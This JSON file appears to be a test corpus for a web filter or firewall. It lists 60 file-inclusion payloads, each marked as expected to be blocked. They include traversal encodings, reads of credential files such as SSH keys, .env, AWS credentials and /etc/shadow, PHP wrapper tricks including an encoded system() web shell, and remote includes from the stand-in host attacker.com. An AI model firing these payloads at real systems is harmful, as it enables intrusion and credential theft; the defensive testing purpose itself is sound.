[
  {"id":"lfi-adv-001","payload":"....//....//....//etc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","double-dot"],"notes":"Double dot-slash bypass","expected_block":true},
  {"id":"lfi-adv-002","payload":"..%252f..%252f..%252fetc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","double-encode"],"notes":"Double URL encoding","expected_block":true},
  {"id":"lfi-adv-003","payload":"..%c0%af..%c0%af..%c0%afetc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","overlong-utf8"],"notes":"Overlong UTF-8 encoding","expected_block":true},
  {"id":"lfi-adv-004","payload":"..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","fullwidth"],"notes":"Fullwidth solidus encoding","expected_block":true},
  {"id":"lfi-adv-005","payload":"..%255c..%255c..%255cwindows\\system32\\drivers\\etc\\hosts","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","windows","double-encode"],"notes":"Windows double-encoded backslash","expected_block":true},
  {"id":"lfi-adv-006","payload":"..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","windows","backslash"],"notes":"Windows backslash traversal","expected_block":true},
  {"id":"lfi-adv-007","payload":"/etc/passwd%00","category":"lfi","method":"GET","severity_hint":"critical","tags":["null-byte","truncation"],"notes":"Null byte extension bypass (old PHP)","expected_block":true},
  {"id":"lfi-adv-008","payload":"../../../../etc/passwd%00.jpg","category":"lfi","method":"GET","severity_hint":"critical","tags":["null-byte","extension-bypass"],"notes":"Null byte with fake extension","expected_block":true},
  {"id":"lfi-adv-009","payload":"php://filter/convert.base64-encode/resource=index.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","wrapper","filter"],"notes":"PHP filter base64 source read","expected_block":true},
  {"id":"lfi-adv-010","payload":"php://filter/read=convert.base64-encode/resource=config.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","wrapper","filter"],"notes":"PHP filter config read","expected_block":true},
  {"id":"lfi-adv-011","payload":"php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","wrapper","iconv"],"notes":"PHP iconv filter source read","expected_block":true},
  {"id":"lfi-adv-012","payload":"php://filter/zlib.deflate/convert.base64-encode/resource=index.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","wrapper","chain"],"notes":"PHP filter chain compression","expected_block":true},
  {"id":"lfi-adv-013","payload":"php://input","category":"lfi","method":"POST","severity_hint":"critical","tags":["php","wrapper","rce"],"notes":"PHP input wrapper for RCE","expected_block":true},
  {"id":"lfi-adv-014","payload":"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","data-wrapper","rce"],"notes":"PHP data wrapper RCE","expected_block":true},
  {"id":"lfi-adv-015","payload":"expect://id","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","expect","rce"],"notes":"PHP expect wrapper","expected_block":true},
  {"id":"lfi-adv-016","payload":"phar://test.phar/test.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","phar","deserialization"],"notes":"PHP phar deserialization","expected_block":true},
  {"id":"lfi-adv-017","payload":"/proc/self/environ","category":"lfi","method":"GET","severity_hint":"critical","tags":["proc","linux","info-disclosure"],"notes":"Linux process environment","expected_block":true},
  {"id":"lfi-adv-018","payload":"/proc/self/fd/0","category":"lfi","method":"GET","severity_hint":"critical","tags":["proc","linux","fd"],"notes":"Linux file descriptor read","expected_block":true},
  {"id":"lfi-adv-019","payload":"/proc/self/cmdline","category":"lfi","method":"GET","severity_hint":"high","tags":["proc","linux","info-disclosure"],"notes":"Linux command line args","expected_block":true},
  {"id":"lfi-adv-020","payload":"/proc/self/cwd/index.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["proc","linux","source-read"],"notes":"Source read via /proc/self/cwd","expected_block":true},
  {"id":"lfi-adv-021","payload":"/proc/self/maps","category":"lfi","method":"GET","severity_hint":"high","tags":["proc","linux","aslr-bypass"],"notes":"Memory mappings for ASLR bypass","expected_block":true},
  {"id":"lfi-adv-022","payload":"/var/log/apache2/access.log","category":"lfi","method":"GET","severity_hint":"critical","tags":["log-poisoning","apache"],"notes":"Apache access log for poisoning","expected_block":true},
  {"id":"lfi-adv-023","payload":"/var/log/apache2/error.log","category":"lfi","method":"GET","severity_hint":"critical","tags":["log-poisoning","apache"],"notes":"Apache error log for poisoning","expected_block":true},
  {"id":"lfi-adv-024","payload":"/var/log/nginx/access.log","category":"lfi","method":"GET","severity_hint":"critical","tags":["log-poisoning","nginx"],"notes":"Nginx access log for poisoning","expected_block":true},
  {"id":"lfi-adv-025","payload":"/var/log/mail.log","category":"lfi","method":"GET","severity_hint":"critical","tags":["log-poisoning","mail"],"notes":"Mail log for SMTP poisoning","expected_block":true},
  {"id":"lfi-adv-026","payload":"/var/lib/php/sessions/sess_SESSIONID","category":"lfi","method":"GET","severity_hint":"critical","tags":["session","php"],"notes":"PHP session file inclusion","expected_block":true},
  {"id":"lfi-adv-027","payload":"/tmp/sess_SESSIONID","category":"lfi","method":"GET","severity_hint":"critical","tags":["session","php","tmp"],"notes":"PHP session in tmp","expected_block":true},
  {"id":"lfi-adv-028","payload":"zip://uploads/shell.jpg%23payload.php","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","zip-wrapper"],"notes":"Zip wrapper file inclusion","expected_block":true},
  {"id":"lfi-adv-029","payload":"/etc/shadow","category":"lfi","method":"GET","severity_hint":"critical","tags":["linux","credentials"],"notes":"Shadow password file","expected_block":true},
  {"id":"lfi-adv-030","payload":"/etc/hosts","category":"lfi","method":"GET","severity_hint":"medium","tags":["linux","network"],"notes":"Hosts file read","expected_block":true},
  {"id":"lfi-adv-031","payload":"/etc/nginx/nginx.conf","category":"lfi","method":"GET","severity_hint":"high","tags":["nginx","config"],"notes":"Nginx configuration","expected_block":true},
  {"id":"lfi-adv-032","payload":"/etc/apache2/apache2.conf","category":"lfi","method":"GET","severity_hint":"high","tags":["apache","config"],"notes":"Apache configuration","expected_block":true},
  {"id":"lfi-adv-033","payload":"/etc/mysql/my.cnf","category":"lfi","method":"GET","severity_hint":"high","tags":["mysql","config","credentials"],"notes":"MySQL configuration","expected_block":true},
  {"id":"lfi-adv-034","payload":"/root/.ssh/id_rsa","category":"lfi","method":"GET","severity_hint":"critical","tags":["ssh","credentials"],"notes":"Root SSH private key","expected_block":true},
  {"id":"lfi-adv-035","payload":"/root/.ssh/authorized_keys","category":"lfi","method":"GET","severity_hint":"high","tags":["ssh","reconnaissance"],"notes":"Root authorized SSH keys","expected_block":true},
  {"id":"lfi-adv-036","payload":"/root/.bash_history","category":"lfi","method":"GET","severity_hint":"high","tags":["linux","history","credentials"],"notes":"Bash history may contain secrets","expected_block":true},
  {"id":"lfi-adv-037","payload":"/home/www-data/.bashrc","category":"lfi","method":"GET","severity_hint":"medium","tags":["linux","config"],"notes":"Web user bashrc","expected_block":true},
  {"id":"lfi-adv-038","payload":"C:\\Windows\\win.ini","category":"lfi","method":"GET","severity_hint":"high","tags":["windows","config"],"notes":"Windows win.ini","expected_block":true},
  {"id":"lfi-adv-039","payload":"C:\\boot.ini","category":"lfi","method":"GET","severity_hint":"high","tags":["windows","config"],"notes":"Windows boot.ini","expected_block":true},
  {"id":"lfi-adv-040","payload":"C:\\inetpub\\wwwroot\\web.config","category":"lfi","method":"GET","severity_hint":"critical","tags":["windows","iis","config"],"notes":"IIS web.config","expected_block":true},
  {"id":"lfi-adv-041","payload":"C:\\Windows\\System32\\config\\SAM","category":"lfi","method":"GET","severity_hint":"critical","tags":["windows","credentials"],"notes":"Windows SAM database","expected_block":true},
  {"id":"lfi-adv-042","payload":"WEB-INF/web.xml","category":"lfi","method":"GET","severity_hint":"critical","tags":["java","config"],"notes":"Java WEB-INF config","expected_block":true},
  {"id":"lfi-adv-043","payload":"WEB-INF/classes/application.properties","category":"lfi","method":"GET","severity_hint":"critical","tags":["java","spring","credentials"],"notes":"Spring Boot properties","expected_block":true},
  {"id":"lfi-adv-044","payload":".env","category":"lfi","method":"GET","severity_hint":"critical","tags":["dotenv","credentials"],"notes":"Environment file","expected_block":true},
  {"id":"lfi-adv-045","payload":"../.env","category":"lfi","method":"GET","severity_hint":"critical","tags":["dotenv","credentials","traversal"],"notes":"Parent directory .env","expected_block":true},
  {"id":"lfi-adv-046","payload":"../.git/config","category":"lfi","method":"GET","severity_hint":"high","tags":["git","info-disclosure"],"notes":"Git config exposure","expected_block":true},
  {"id":"lfi-adv-047","payload":"../.git/HEAD","category":"lfi","method":"GET","severity_hint":"high","tags":["git","info-disclosure"],"notes":"Git HEAD reference","expected_block":true},
  {"id":"lfi-adv-048","payload":"../../.aws/credentials","category":"lfi","method":"GET","severity_hint":"critical","tags":["aws","credentials","cloud"],"notes":"AWS credentials file","expected_block":true},
  {"id":"lfi-adv-049","payload":"../../.docker/config.json","category":"lfi","method":"GET","severity_hint":"critical","tags":["docker","credentials"],"notes":"Docker config with auth","expected_block":true},
  {"id":"lfi-adv-050","payload":"/var/run/secrets/kubernetes.io/serviceaccount/token","category":"lfi","method":"GET","severity_hint":"critical","tags":["kubernetes","token","cloud"],"notes":"K8s service account token","expected_block":true},
  {"id":"lfi-adv-051","payload":"....\\\\....\\\\....\\\\windows\\system32\\drivers\\etc\\hosts","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","windows","double-backslash"],"notes":"Double backslash bypass","expected_block":true},
  {"id":"lfi-adv-052","payload":"..%5c..%5c..%5cetc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","encoded-backslash"],"notes":"URL encoded backslash traversal","expected_block":true},
  {"id":"lfi-adv-053","payload":"/%2e%2e/%2e%2e/%2e%2e/etc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","dot-encode"],"notes":"URL encoded dots","expected_block":true},
  {"id":"lfi-adv-054","payload":"/..%c1%9c..%c1%9c..%c1%9cetc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["traversal","overlong-utf8"],"notes":"IIS overlong UTF-8 backslash","expected_block":true},
  {"id":"lfi-adv-055","payload":"file:///etc/passwd","category":"lfi","method":"GET","severity_hint":"critical","tags":["file-uri","protocol"],"notes":"file:// URI scheme","expected_block":true},
  {"id":"lfi-adv-056","payload":"http://attacker.com/shell.txt","category":"rfi","method":"GET","severity_hint":"critical","tags":["rfi","remote-include"],"notes":"Remote file inclusion","expected_block":true},
  {"id":"lfi-adv-057","payload":"https://attacker.com/shell.txt%00","category":"rfi","method":"GET","severity_hint":"critical","tags":["rfi","null-byte"],"notes":"RFI with null byte extension bypass","expected_block":true},
  {"id":"lfi-adv-058","payload":"ftp://attacker.com/shell.txt","category":"rfi","method":"GET","severity_hint":"critical","tags":["rfi","ftp"],"notes":"FTP based RFI","expected_block":true},
  {"id":"lfi-adv-059","payload":"\\\\attacker.com\\share\\shell.php","category":"rfi","method":"GET","severity_hint":"critical","tags":["rfi","smb","unc"],"notes":"UNC path RFI (Windows)","expected_block":true},
  {"id":"lfi-adv-060","payload":"php://filter/convert.base64-encode|convert.base64-decode/resource=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+","category":"lfi","method":"GET","severity_hint":"critical","tags":["php","filter-chain","rce"],"notes":"PHP filter chain RCE (CVE-2024)","expected_block":true}
]